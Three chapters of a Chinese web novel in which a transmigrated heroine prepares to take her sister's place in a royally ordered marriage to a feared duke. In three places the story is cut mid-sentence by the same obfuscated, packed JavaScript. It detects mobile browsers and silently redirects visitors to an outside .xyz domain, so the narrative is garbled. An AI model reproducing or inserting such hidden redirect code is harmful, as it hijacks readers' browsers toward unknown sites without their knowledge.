《十九世纪换嫁情缘》 1. 第 1 章 有钱的单身汉总要娶一位太太,这是举世公认的真理。 在穿入《镀金牢笼》这本小说之前,许莉莎读过这句话——出自简·奥斯汀笔下。 此时此刻,作为伊莎贝尔·诺曼的她,正亲眼见证它的应验。 “亲爱的诺曼爵士、诺曼夫人、以及可爱的奥黛丽·诺曼小姐,还请贵府在下个月的第二周做好迎接斯宾塞公爵的准备。秉承教皇的美意与女王陛下的关怀,我敢断定这将是一桩美满的婚姻,更会为贵府增添荣光。” 庄园外,女王的使者——一位鹰钩鼻银发绅士高抬着下巴,以高贵的首都腔调一口气交代完事项,并穿插华丽的词藻歌功颂德,才终于向诺曼家的众人躬身行礼。 “诸位,期待下一次的相见。” 在他身后,身穿皇家制服的礼仪兵整齐划一摘帽敬礼。 “再见,贾维斯爵士,向女王问好。”诺曼家族众人回以标准的礼节。恭送鹰钩鼻坐上马车,绝尘而去。 马车溅起的尘土尚未消散,父亲爱德华·诺曼白眼一翻,“嗷”的一嗓子昏过去,诺曼夫人和管家仆人手忙脚乱搀扶。 “欧,爱德华,振作点!”诺曼夫人轻拍爱德华的脸。 “亲爱的,我无法振作。”爱德华泪水涟涟,向站在一旁的奥黛丽·诺曼招手,“奥蒂,我的甜心,我敢打赌整个锡兰公国不会有比你更单纯善良的孩子,女王怎么就选中你嫁给斯宾塞公爵!” 听到这句话,众人悲上心头,奥黛丽也跟着哭了起来,“爸爸……” 诺曼夫人鼻子一酸:“别这么残忍,爱德华,别再提醒我要失去一个宝贝女儿。” 奥黛丽扑进母亲怀里:“妈妈……” 管家与仆人也纷纷落泪,众人哭成一团,除了……伊莎贝尔·诺曼。 揉了揉被哭声震痛的耳朵,伊莎贝尔轻摇羽毛扇,冰蓝色的眼眸里划过笑意。 唉,真是水做的一家子。 穿越前,许莉莎是个世俗意义上的天才,博学多识,年少成名,致力于在各个领域闯出一番事业。在她的处事逻辑里,只要有智慧,就没有什么难关是闯不过去的。 自从穿入书中,成为诺曼家族的大女儿伊莎贝尔。从小到大的二十几年里,她见证了另一种处世哲学:小事小哭,大事大哭,天大的难事哭完洗洗睡。 正如现在,女王赐婚,要将奥黛丽嫁进斯宾塞公爵府,就属于天大的难事。 诺曼家族是锡兰公国的落魄贵族。爱德华·诺曼继承了先辈的男爵头衔,却凭着出色的能力将财产挥霍一空,现在只剩破落架子,勉强能蹭一张上流舞会的入场券。 然而斯宾塞家族却是名副其实的大贵族,其祖上的荣耀与财产不仅延续至今,现任家主海因里希·斯宾塞还牢牢掌握着实权,是锡兰公国七大选帝侯之一。 按常理来讲,能嫁入斯宾塞公爵府,对于普通家族来说是做梦都不敢想的美事。可坏就坏在,海因里希本人有一个极其恶劣的传闻——克妻。 到目前为止,年轻英俊且实权在握的公爵,已经有四位未婚妻暴毙而亡,且都是出身高贵的年轻女士。 能攀附权贵当然好,但如果要夺走女儿性命,大部分体面的绅士还是不愿意这么做。当然,有个别境况堪忧的家族,想要剑走偏锋,却也没这个机会。 女王操心年轻公爵的婚事,在公国内部遴选合适的贵族小姐。这份殊荣降临诺曼家族,有人欢喜有人愁。对于爱女儿如命的诺曼夫妇来说,自然是后者。 “欧!可怜的奥蒂,听着,你绝不能嫁给斯宾塞公爵,否则会被厄运牵连!” 不远处,突然有马车飞驰而来,一位穿着宝蓝色克里诺林裙、头戴蕾丝宽边帽子、身形丰满的女士还没下车,就边哭边嚷嚷起来。 这是诺曼夫人最小的妹妹,安娜·卡文。 “安娜姨妈。”奥黛丽擦了擦眼泪,向安娜行淑女礼。 安娜亲吻奥黛丽的脸颊:“可怜的孩子。” 诺曼夫人搀扶着爱德华进屋休息,一面叹气:“安娜,亲爱的妹妹,原谅我不能妥善接待你。实际上,厄运已经降临在我们头顶,女王和教皇的共同赐婚,我们无法抵抗。” “不不不,简妮,好姐姐,如果你知道斯宾塞家族多么恐怖,你绝不忍心把奥蒂推进火坑!即便是上帝赐婚!” 安娜姨妈热得气喘吁吁,跟在诺曼夫人身后走进客厅,一屁股坐在沙发上,其中的弹簧不堪重负,发出令人牙酸的咯吱声。 女仆上前帮她解开帽子,又送上红茶和点心:“安娜夫人,请慢用。” “唔,好姑娘,还是我最爱的味道。”安娜迫不及待给司康饼抹上果酱,大快朵颐,吃得噎住了,赶紧喝上一口红茶,等到终于填饱肚子,才继续高谈阔论,“我在汉克郡认识一个吉普赛女人,她有极其厉害的占卜术,还曾拜访过斯宾塞公爵的查尔维斯庄园。她说公爵的未婚妻接连病死,都是因为诅咒!” 诺曼夫人,也就是简妮·卡文,一脸不可置信,“诅咒?” “是的,就是诅咒!这一代的斯宾塞公爵曾在海洋军队服役,听说他当年和赫斯兰公国作战时,手段非常残忍,是个人尽皆知的暴脾气!”安娜在胸前画十字,神秘兮兮说,“吉普赛女人告诉我,公爵因为杀孽太多,曾被魔鬼附体,退役后生了一场大病,差点死掉。当地的牧师过去探望,竟然被发病的公爵掐死!” “什么?!上帝啊!”简妮和爱德华对视一脸,难掩脸上的震惊。 奥黛丽害怕得缩了缩身子,握住伊莎贝尔的手。后者的脸上却十分平静。 “所以,姨妈是想说,他未婚妻的死亡,就是因为魔鬼的诅咒!奥黛丽嫁过去也一定会步那些可怜女孩的后尘?”伊莎贝尔摇着扇子,笑容淡淡。 “正是这样,聪明女孩!”安娜点头,看着伊莎贝尔,脸上浮现不悦,“但是你的表情……这不该是一个同情妹妹命运的姐姐应该有的表现,亲爱的贝拉。” “谢谢姨妈的提醒,但是……”伊莎贝尔耸耸肩,“与其相信吉普赛女人的谬论,不如相信爸爸眼光独到,投资的铁路一夜翻红,赚够两万锡兰币。你说呢姨妈?” 安娜老脸一红,赶忙借着喝茶掩饰。 爱德华听了,再次掩面嘤嘤哭泣:“呜呜呜……” 母亲简妮不赞同女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902038|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的辛辣的幽默,嗔了一眼,“贝拉,你爸爸已经够伤心了。” 唯独奥黛丽噗嗤笑出声,悄悄捏了捏姐姐的手,伊莎贝尔回以微笑,替妹妹擦干眼泪。 不过,玩笑归玩笑,大家却知道伊莎贝尔说的话一向没有大错。 诺曼家族现在一贫如洗,就是因为爱德华禁不起安娜的劝说,投资了埃尔美联邦的铁路贸易。 当时安娜声称自己的丈夫——一位靠着嘴皮子娶到乡绅幺女的商人有可靠的投资路径,于是撺掇着姐姐姐夫一家共同发财。彼时,诺曼家只剩最后那点留给女儿的嫁妆。向来懦弱的男爵好不容易鼓起勇气,想搏一搏,赚回以往经营不善亏空的钱,结果赔得精光不说,还欠下巨款。安娜那个不靠谱的丈夫,在得知血本无归后卷了家产逃跑,至今没有踪迹。 安娜作为始作俑者,听到旧事重提,当然惭愧。然而一家子糯米团里,没人愿意责怪她,除了狠心的伊莎贝尔。 其实伊莎贝尔很少插手诺曼家族的一切事务,大多任由其发展。其一是因为,对她而言,这只是一本书。其二是因为,她穿越之前没仔细看,连主角是谁都不知道,只记得小说梗概。 过腻了上辈子的精英人生,躺平感受十九世纪西方日常挺好的。 不过,伊莎贝尔也不确定究竟是不是十九世纪。 小说是架空背景,锡兰公国在现实世界并不存在。这里的风土人情类似英国,但历史背景又类似德法。譬如帝国上层还存在选帝侯制度,国与国之间时常有战争。身为破落贵族的女儿,伊莎贝尔能接触的场合有限,只能凭借社会风貌判断,现在相当于十九世纪。 如果可以不参与剧情,伊莎贝尔愿意这么悠闲一辈子。诺曼家虽然不富裕,家人却不错,爸爸妈妈妹妹,三个傻白甜,加起来凑不出一个心眼。偶尔有安娜这样的愚蠢姨妈给生活添点乱子。 然而,公爵府婚讯的到来,正式提醒了伊莎贝尔,剧情开始了。 她记得,原书梗概是:两个姐妹因为婚姻天各一方,各自陷入悲惨命运。单纯的妹妹接到女王赐婚,嫁入斯宾塞公爵府。她在外被各种反派刁难,在内被公爵厌弃,最终成为公爵府权力斗争的牺牲品,冻死在某个雪夜。 聪慧的姐姐会因为债务嫁给暴发户,成为装点门面的花瓶。野心勃勃的资本家厌恶她的高傲,等榨干她的利用价值,弃之如敝履。清高的姐姐郁郁寡欢,抵挡不住病魔的侵袭,也于同一个夜晚病逝。 临死前,两姐妹不约而同唱起故事开头的摇篮曲,那是母亲从小在她们耳边唱的歌。远在家乡的父母并没有沾到女婿们的荣光,甚至因为反派们的针对,生活得越发窘迫。收到两个女儿的死讯,爱女如命的夫妻俩彻底绝望,自尽于家中。 结尾就是例行升华,说这本书反映了落后的婚姻制度对女性的压迫,造就时代悲剧等等。 当时她没认真看,穿来以后,身边因为婚姻造就悲剧的姐妹俩多不胜数,伊莎贝尔以为自己只是平平无奇的路人甲。 现在回想,原来她穿越成主角之一,的确快要直面悲剧了。 斯宾塞公爵的婚讯已经到来,暴发户还会远吗? 2. 第 2 章 愁云笼罩着诺曼庄园,无论多么烦恼,饭还是要吃,觉还是要睡的。正如当下的贵族们,不管内里隐藏多少惊涛骇浪,从外表看,依然要维持风光和体面。餐桌上的红酒牛肉一样都不能少。 吃过晚饭,奥黛丽邀请姐姐在房间里散步。 偌大的城堡依旧如上世纪那般华美,只是旋转楼梯和房梁上的斑驳增添了岁月的痕迹。这座饱受美誉的庄园,曾经是许多游客的向往之地,也时常令诺曼家族感到无上光荣。 此刻的奥黛丽却没有欣赏的心情,她挽着姐姐的手臂,心不在焉,水蓝色的眼睛黯淡无光,连金色的卷毛都耷拉着。 “亲爱的奥蒂,如果你是因为今天的噩耗感到沮丧,那我劝你不必如此。”伊莎贝尔拨了拨妹妹的小卷毛,触感柔软,像她前世养的金渐层小胖咪。 奥黛丽强行挤出一抹笑,“抱歉,贝拉,我的不开心也感染到了你。希望你不要费心想好听的话来安慰我,我们都明白,谁也不能违抗女王的赐婚。” 伊莎贝尔挑眉,盯着她的大眼睛看了一会儿,“不,我没想安慰你。” 奥黛丽眼里闪烁着疑惑:“?” “我只是想说,一个噩耗后面必然还有另一个噩耗,别急着发愁。”伊莎贝尔平静说道。 奥黛丽扯开嘴角:“……真棒的安慰。” “不客气。”伊莎贝尔依然端方地踱步。 沉默片刻,两姐妹一齐笑出声。 奥黛丽擦了擦笑出的眼泪,“亲爱的贝拉,你总是知道怎么逗我开心。” 客厅点燃着烛火,奥黛丽看向伊莎贝尔,蓝眼睛望着蓝眼睛。 不同的是,姐姐的眼睛像海洋般深邃,而妹妹总是笑着,似阳光下璀璨的蓝宝石。 从小到大,姐妹俩就像硬币的正反面,性格迥异,却又相辅相成。 奥黛丽时常觉得,伊莎贝尔是游离于众人之外的,她聪慧博学,敏锐智慧,却从不向外人炫耀。只有从小一起长大的奥黛丽,能窥探出深海的一角——当然,也不是什么好情形。 小时候,伊莎贝尔是个无师自通的天才女孩,最爱干的事情就是在庭院里晒太阳看书。奥黛丽则相反,是个彻头彻尾的小笨蛋,怎么也学不会家庭教师留下的手工作业。连一向温柔的母亲在辅导完后都开始头痛。无奈之下,只能把这个重担抛给伊莎贝尔。 如果以为伊莎贝尔是什么温柔靠谱的大姐姐,那可就大错特错。时年十岁的贝拉姐姐自此有了“专属小家仆”——五岁的小奥蒂。 小跟屁虫的日常是:每天六点醒来,跑到姐姐房间等她睡上三小时懒觉,再送上有点晚的早安吻;帮姐姐端早餐,时常碰倒牛奶但依然坚持不懈;姐姐晒太阳看书的时候,她就乖巧地在一旁拼积木,用泥巴盖房子,并随时等候召唤,帮姐姐端茶倒水。有时候不小心玩累了,睡倒在草坪上,醒来时发现躺在姐姐身边。虽然姐姐脸上充满对脏孩子的嫌弃,却会用手中的书帮她遮阳。每当这个时候,小奥蒂就会忘记所有不开心,第二天依旧待命。 至于家庭作业,奥黛丽完全忘记这回事,反正老师检查的时候,姐姐都会帮她糊弄过去。母亲问起,伊莎贝尔则漫不经心回答:“小奥黛丽女士显然不是学习音乐和烹饪的专家,我看她在泥巴盖房子方面倒有天分。” 母亲简妮忧心忡忡:“如果贵族女孩不掌握几门才艺,将来会被指责没有教养。” “那好极了,你已经有一个注定没教养的女儿,应该不介意多一个。”十岁的伊莎贝尔眼也不眨地调侃妈妈,“至少我会竭尽全力培养奥黛丽女士玩泥巴的才能,让她拥有快乐的童年。” 简妮:“……” 伊莎贝尔没说假话,后来几年里,她教奥黛丽学会很多数算知识,从盖房子到组装机械,一步步发掘自己的兴趣。时下,很少有女性从事这项领域,更遑论是出身贵族的女孩。如果你不精通弹琴或者绘画等才艺,那么即便成为数学天才,也不能在社交舞会上令人高看一眼。 曾经,奥黛丽也为此苦恼,那时伊莎贝尔只是捏着妹妹的小脸,平淡道:“如果钢琴和绘画能让你感到快乐,那么现在学到一点足以应付社交的技艺还不晚。如果只是将它当作标榜身份的工具,博得绅士的喜爱,那我想你大概没有精力再钻研你热爱的领域。” 那天晚上,奥黛丽思考许久。 半夜三更,她抱着枕头钻进姐姐房间,轻声说:“我明白了,亲爱的贝拉。我明白什么才能使我快乐。” ——是坚持自己的热爱,那将会让一生都充盈而富足。 黑暗里,伊莎贝尔只是揉了揉她的小卷毛,似乎并不意外,“恭喜你,小奥蒂。” 奥黛丽抱住伊莎贝尔,依恋地蹭了蹭,“谢谢你,姐姐。” 如果没有那双深邃的蓝眼睛,发现小奥蒂的天分,引领她走上一条特别的路,也许此刻的奥黛丽永远不能体会到真正的热爱。 在逐渐长大的过程中,奥黛丽其实意识到了姐姐的与众不同。 姐姐嘴上将自己归为“没教养”的一类人,可奥黛丽亲眼见过她弹琴的技艺多么娴熟,画功多么精湛。 还有姐姐所传授的知识,许多已经超越这个时代,绝不可能出自家庭教师。 在奥黛丽眼里,姐姐才是真正的天才,而这个天才只会在妹妹面前露出一点儿痕迹,连父母都知之甚少。 每当想到这里,奥黛丽就会有种隐秘的快乐——只有她知道姐姐的秘密,而她也会默契地将这个秘密保守到底。 窗外圆月高悬,照亮奥黛丽漂亮的蓝眼睛,一如此刻。 “如果你再发呆下去,我会拜托安娜姨妈找那位吉普赛女人帮你看看,是不是斯宾塞的诅咒提前生效了。”伊莎贝尔用扇子在奥黛丽眼前晃了晃。 从回忆中抽离,奥黛丽羞赧挠头,想起什么,又垂头丧气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902039|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “假如诅咒迟早要降临,请拜托让我在下个月的第二周前就死在家里吧,我不想离开庄园,不想离开爸爸妈妈和你。” 伊莎贝尔眸光划过笑意,“好主意,要是也有厄运选中我,我就能借鉴你的办法了。” “不!贝拉,别说这么不吉利的话!”奥黛丽愿意自嘲,却不想听见姐姐也这么说。 伊莎贝尔伸出臂弯,“不必害怕,奥蒂,该来的总会来,也许……” 突然,一阵急促的敲门声响起,犹如石子掉入平静湖面,整夜的安宁就此告破。 冰蓝色的眼睛划过微光,伊莎贝尔目送着男仆前去开门,轻笑:“也许……就在此刻。” 奥黛丽不安抬眸,“你是说……厄运吗?” 伊莎贝尔没说话,姐妹俩站在二楼俯视着乱成一锅粥的楼下。 被坏消息搅扰得神经敏感的诺曼夫妇,在听到敲门声的下一刻就冲出了卧室。 爱德华头上还戴着滑稽的睡帽,冲男仆喊道:“是谁来了?上帝啊,看在我可怜的神经上,别再让我听见坏消息了!” 男仆维持着开门的姿势,腿肚子哆嗦。直到爱德华连声问了好几句才转身,缓缓举起手。在他身后,一柄短管火枪指着男仆的后脑,十数个穿着鹿皮衣、腰上别着左轮的壮汉缓缓走入。 众人瞳孔剧缩,仆人们惊叫逃跑,诺曼夫妇勉强扶持着对方,战战兢兢问:“你们是什么人?想干什么!这里是诺曼庄园,受锡兰公国律法保护!” 躲在二楼角落里的安娜姨妈吓得脸色煞白,连声画十字:“是强盗吗?这真是太糟了!求上帝保佑!贝拉,奥蒂,快躲回屋子里!” 伊莎贝尔脸上不见害怕,只是拉着奥黛丽退进二楼的画室,透过缝隙观察一楼的情景。 楼下,宽敞的客厅因为壮汉们的涌入变得拥挤,突然,他们如摩西分海般让开一条路,一位年轻的男子缓缓走来。 奥黛丽躲在姐姐身后,水蓝色的眼睛倒映出那张陌生的面孔。 ——这个男人无疑是奥黛丽短短十八年里见过的……最俊美的异性。他五官深邃,皮肤苍白,有着一头银灰色长发,柔亮的发质在昏暗光线下显得无比耀眼。往下看,他穿着雪白高领亚麻衬衫,袖口带有法式铜色扣,外穿双排黑色礼服外套,俨然中产阶级时兴的装扮。只是这份得体与从容,在如此肃穆的气氛里,更显出几分可怖。 “诺曼爵士,好久不见。”他开口。 爱德华的表情彻底凝固,如果不是夫人的支撑,他恐怕会立刻昏倒。 “怀……怀特先生?” 二楼,安娜姨妈差点惊叫出声:“赫尔曼·怀特!那个害我们破产的奸商!怎么是他?!” 姐妹二人对视一眼。 赫尔曼·怀特? 奥黛丽目光闪烁——原来他叫赫尔曼。 伊莎贝尔眸光微动——果然,另一桩厄运如约而至。 3. 第 3 章 “爵士,请原谅我的贸然到访。”赫尔曼·怀特嗓音冰冷,神情坦然,丝毫没有请求原谅的意思,“你的债务已经到期了,按照合同规定,这座庄园现在归我了。” 眼看壮汉们开始行动,爱德华张开手臂大喊:“不!怀特先生!离还款日还有两个月!你是不是弄错了?” 赫尔曼似乎不想多费口舌,往后招了招手。 一个戴着假发套的绅士立刻上前,从怀里掏出两张纸,“诺曼爵士,我是怀特先生的代理律师,可以叫我查尔斯。这是您于一年前签订的抵押借款合同,欠款两万锡兰币,限六月二十六日连本带利还清。” “两万锡兰币?这不可能!我明明只借了一万!而且还款日期怎么提前了!”爱德华惊呼。 查尔斯律师不紧不慢,递上合同:“上面有您的签字与印章,还有您担保人,威克曼·史蒂芬先生的手印。” 爱德华和二楼的安娜同时怔住。 威克曼·史蒂芬正是安娜那位携款潜逃的丈夫! “是他……难道是他骗了我!”爱德华难以置信,捏着纸张的手隐隐颤抖。 二楼,安娜姨妈豁然起身,激动地嚷嚷:“姐姐,姐夫!威克曼只是做投资失败,没脸回来,他绝不会坑骗你们!一定是这个无良商人撒谎!” 听见谩骂,壮汉们脸色愠怒,赫尔曼却气定神闲,连眼皮也没抬。 查尔斯律师哂笑,先于诺曼夫妇开口:“是吗夫人?出于律师的良知,我必须告诉你们真相。我的雇主,赫尔曼先生是个出色的商人,早在铁路贸易崩盘前就及时撤资,并对各位合资人尽到提示义务。威克曼先生隐瞒了这个消息,还说服你们抵押借贷,再次加注资金。实际上,他带走了所有的钱,而并不是你们相信的……投资亏空。” 安娜脸色煞白,崩溃大哭,口中喃喃:“不可能……” 爱德华浑身颤抖,一切都明白了。 他盯着借款合同上面通红的印章,神情恍惚。 现在,他不仅是个欠下巨债的穷光蛋,连祖上传下来的庄园也要没了。 泪水在眼眶里打转,即将落下的时候,一只手接过合同,声音轻柔:“爱德华,还没到绝路呢,打起精神来。” 简妮替他擦干眼泪,看向赫尔曼,温和道:“怀特先生,如果你的目的是催债,那么你应该清楚,不久之后,我的女儿将会嫁给斯宾塞公爵。公爵府的结婚聘礼,足够偿还债务。我希望你能宽限一段时间。” 二楼画室内,伊莎贝尔看着母亲,眼带赞赏。一家子糯米团里,总要有人站出来,哪怕是强撑的。 查尔斯看了眼赫尔曼,似乎在斟酌该不该由自己开口。 赫尔曼却突然抬眸,深灰色瞳孔盯着简妮:“贵府卖女儿的价格这么高昂……” 简妮脸色一变,冷声道:“阁下,请你说话放尊重些!” “不,夫人请别误会。”赫尔曼似笑非笑,“我的意思是,既然卖了一个女儿,不妨再卖一个。我所付的价钱,定会让贵府满意。” 话音落地,所有人脸色都变了,除了伊莎贝尔。 二楼,奥黛丽皱眉,轻声问:“他想娶你?贝拉。” 伊莎贝尔摇头,嗓音冷淡:“不,确切的说,他只是想娶一个冠姓诺曼的贵族小姐,无论哪一个。” 奥黛丽疑惑:“有区别吗?” 伊莎贝尔盯着赫尔曼的脸,缓缓笑道:“当然有。” 与此同时,简妮也明白了赫尔曼的真正来意。 他压根不在乎那两万锡兰币,只想借债务逼迫诺曼夫妇把女儿嫁给他,以此跻身上流阶层,成为斯宾塞公爵府的连襟。 “这绝不可能。”简妮勉强克制着怒意,声音柔和坚定,“来自女王的赐婚我们兴许毫无办法,赫尔曼先生如此卑劣的手段却是有目共睹。我们会将债务还清,请你打消娶我女儿的念头!” 爱德华强撑着站起身:“是的!绝无可能!” 闻言,赫尔曼拎出一条丝巾,仔细擦拭手杖,语气不疾不徐,“诺曼先生,诺曼夫人,我想你们误会了什么。” “我来,不是打商量的。”他淡淡道,“而是……通知。” “给你们三天时间考虑,告辞。” 说完,毫不客气地扔掉丝巾,转身离去。 训练有素的壮汉们紧跟其后,鱼贯而出。 查尔斯缀在最后,彬彬有礼摘帽鞠躬,说出的话却叫人愤怒。 “先生、太太。三天后,如果你们的答案令人满意,不仅债务会一笔勾销,还另有丰厚的聘礼送上。如果答案是否定,那么……请做好交接庄园的准备。”说着,查尔斯从口袋里拿出名片,“哦对了,要想打官司的话,可以找鄙人的事务所。” 爱德华接过名片:“能帮我打赢?” 查尔斯走到门口,潇洒回头,露出八颗牙齿:“必输无疑。但阁下非要浪费钱的话,不如给我赚!再会各位!” 爱德华:“……” 大门再次关闭,这一次,诺曼庄园无法回归平静。 爱德华无助地瘫坐在沙发上,此刻的简妮没空管他,急匆匆去了书房。中途路过二楼,见到安娜,她也罕见地失去笑脸。 奥黛丽跟了上去:“妈妈,有什么我可以帮你的吗?” “没有,好孩子,和你姐姐一起去休息。”简妮拎着裙子登楼梯,“我要给你玛丽姨妈写封信。” 奥黛丽和姐姐对视一眼,疑惑:“玛丽姨妈?” 安娜惊讶:“玛丽?!” 简妮瞥了安娜一眼,无奈道:“事到如今,我必须找玛丽帮忙了。谁让我们卡文家只出了这么一个伯爵夫人呢?” 乡绅卡文家的三姐妹:简妮、玛丽和安娜。大姐简妮性情温和,嫁给了当时年轻阳光的爱德华;二姐玛丽聪明锋利,是姐妹中最有智慧的一个,嫁给了很有名望的克劳伦伯爵;小妹安娜热情憨直,被威克曼蒙骗,如今最为潦倒,靠着姐姐们的接济度日。 安娜自小与二姐玛丽不和,长大后因为种种矛盾闹掰了。其中之一是玛丽曾经告诫过她,不要轻信威克曼,安娜不听,还大吵一架。姐妹俩就此断联。 现在事态紧急,简妮顾不上安娜的情绪,连夜派人去送信。 诺曼庄园离克劳伦伯爵的领地很远,一来一回,起码要两日。 诺曼家众人一连两天,食不知味,爱德华更是一病不起。 就在简妮坐立不安时,门外响起马车声。 很快,一位身穿深紫色克里诺林裙、头戴蕾丝宽檐羽饰礼帽、神态端庄的妇人走了进来,她的五官与母亲简妮有六分相似,但气质更加凌厉。 “玛丽!亲爱的!你不知道我多想见到你!”简妮与玛丽行贴面礼,紧紧攥着她的手,热泪盈眶。 “亲爱的简妮,收到你的信,我一刻也不敢耽搁。”玛丽也流露出几分动容,视线在接触到瑟缩的安娜时,她突然冷笑,“好久不见,安娜。我时常好奇蠢人会做出怎样令人惊叹的蠢事,而你实属其中的佼佼者!让那个油嘴滑舌的男人骗光自己的嫁妆不说,还将这等福分带给简妮,害得她连女儿都要赔出去!” 安娜被一连串的话语抨击得抬不起头。 简妮拍拍玛丽的手:“好了,别再说她了。这件事,爱德华和我都有错。我们早该听你的话,对一切恶意有所防备。” 玛丽叹息摇头:“是的简妮,你早该醒悟,你们无底线的善良只会助长某些人的坏心。” 老姐妹俩携手坐下,伊莎贝尔与奥黛丽适时下楼打招呼,“玛丽姨妈。” “贝拉,奥蒂。”玛丽分别贴了两个姑娘的脸,又拉着奥黛丽的手,看向简妮,“不过……姐姐,有一件事情,我也有责任。” 简妮:“什么?” 玛丽皱眉道:“去年社交季,奥蒂来我那参加舞会,女王使臣贾维斯爵士也在。他就是那时挑中可怜的奥蒂,怪我不该带她去露脸。” 闻言,众人都沉默了一会儿。 简妮小心翼翼道:“玛丽,奥蒂的才艺实在算不上出众,应该不会引起贾维斯爵士的注意。” 奥黛丽脸色微红。 “不出众”都算保守了,可以说是力争下游。 伊莎贝尔轻摇羽扇,轻笑出声:“也许,对方要的就是一位‘不出众’的女士呢?” “姐姐,你是说,女王特意为斯宾塞公爵挑选不出众的伴侣?”奥黛丽眼神疑惑。 简妮皱眉,陷入深思。 玛丽向伊莎贝尔投以赞赏的眼神,为奥黛丽答疑解惑:“这不是女王的授意,而是斯宾塞公爵府内部出了问题。据我所知,公爵有个弟弟曾经争夺过继承权,他们的关系并不和谐。由此可知,大约是公爵弟弟买通贾维斯,特意为哥哥挑选一位门户不显,才艺不佳,又生性单纯的贵族小姐。” 说完,玛丽又赶紧道:“当然,我们眼里的奥蒂乖巧可爱,绝不是他们想象得那么不堪!” 奥黛丽温和道:“没关系,姨妈。” “一点儿没错。”她垂着头,金色小卷毛遮住长长的眼睫,笑容有些伤感:“我确实不明白复杂的弯弯绕绕,这就是他们选我的目的。” 闻言,众女士再次陷入安静。 简妮用帕子捂着嘴,憋住哭声:“哦,我可怜的奥蒂。之前那四位枉死的未婚妻,恐怕不是意外,而是……而是他们的诡计!” “天哪!那奥蒂过去岂不是羊入虎口!”安娜抱住最疼爱的小外甥女,也哭了起来:“真的没有办法了吗?” 玛丽偏过头,忍泪:“女王钦点,改变不了。我唯一能做的,是尽快筹钱帮你们偿还债务,至少救下贝拉。” “噢,上帝啊。别说短时间筹集两万锡兰币多么困难,就算有,那个来自埃尔美联邦的魔鬼也一定不会罢休!他就是想娶贝拉!” 提到另一桩难事,简妮又是一阵心绞痛。她握住伊莎贝尔的手,泪水涟涟。 大女儿自小就独立,和夫妻俩的关系并不像小女儿那般亲昵。可是朝夕相处二十年,简妮深刻地感知到,贝拉心里的坚冰在慢慢融化。她敏锐智慧的大女儿,绝不能掉入那个利欲熏心的商人手里! 几位女士愁云惨淡,伊莎贝尔扶住简妮,喂她喝了点药,忽然道:“我有一个办法,可以同时解决两个危机。” 此话犹如惊雷,众女齐齐投来目光。 奥黛丽向来知道姐姐的聪明,赶忙问:“是什么?” 伊莎贝尔将女王赐婚的卷轴举起,看向奥黛丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902040|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻声道:“亲爱的,我们交换吧。” “交换?!”几人异口同声。 “不,这绝不可能!”奥黛丽率先摇头,水蓝色的眼睛起了雾,“斯宾塞公爵府不是什么好去处!你去了,是替我送死!” 伊莎贝尔静静望着奥黛丽。 如果她不插手,原书里可怜的奥黛丽的确会惨死公爵府。 这个她看着长大的小生命,会哭会笑爱当跟屁虫的小姑娘,会在某个冬夜走向生命终点,那时,她才二十岁。 伊莎贝尔深吸一口气,再抬眸,眼底笑容清浅。 她拍了拍奥黛丽的脑袋,平静道:“单纯的小羊羔进入龙潭虎穴,没有活路。但……你认为你的姐姐,伊莎贝尔·诺曼,是和你一样的小羊羔吗?” “当然不……”奥黛丽怔住,“可是……可是……” “没有可是,这是唯一的解法。”伊莎贝尔看着妹妹,说的话却是给大家听,“赫尔曼要的只是上流社会的门票,只要我们与斯宾塞公爵府的姻亲不断,他对我们就留有余地。关键还是在于斯宾塞家的形势。” “奥蒂,换句话说,我们性命相连。”伊莎贝尔轻笑,“假如你执意要去公爵府,那么你有把握站稳脚跟吗?如果你出现意外,那我在赫尔曼家势必也受影响。你明白了吗?” 奥黛丽沮丧垂头,三位卡文女士也陷入沉思。 良久,玛丽叹道:“没错,我在克劳伦伯爵府待了这么多年,最明白里面的复杂状况。而斯宾塞公爵府只会比我所经历得更加诡谲。如果奥蒂去,恐怕下场不会比前几位未婚妻好多少。但是,贝拉不同……” 玛丽姨妈凝视着伊莎贝尔,如出一辙的蓝眼睛里饱含情意:“亲爱的,你比我亲生的孩子更像我,不仅是外貌,还有性情。我相信你有非凡的头脑,能够应对那些敌人。” “是的,我可以。”伊莎贝尔笑着说。 一个大胆的谋划,就在五位女士的密谈中诞生。 用伊莎贝尔换奥黛丽,对于简妮来说手心手背都是肉,一样的担忧与痛心。所以关于后续的谋划,基本由玛丽和伊莎贝尔讨论完善。 期间,安娜提出反对,叫嚷道:“我还是觉得这太冒险了!女王的手谕上清楚明白地写着,赐婚奥黛丽·诺曼!如果一旦有人揭发,我们都要被送上绞刑架!” 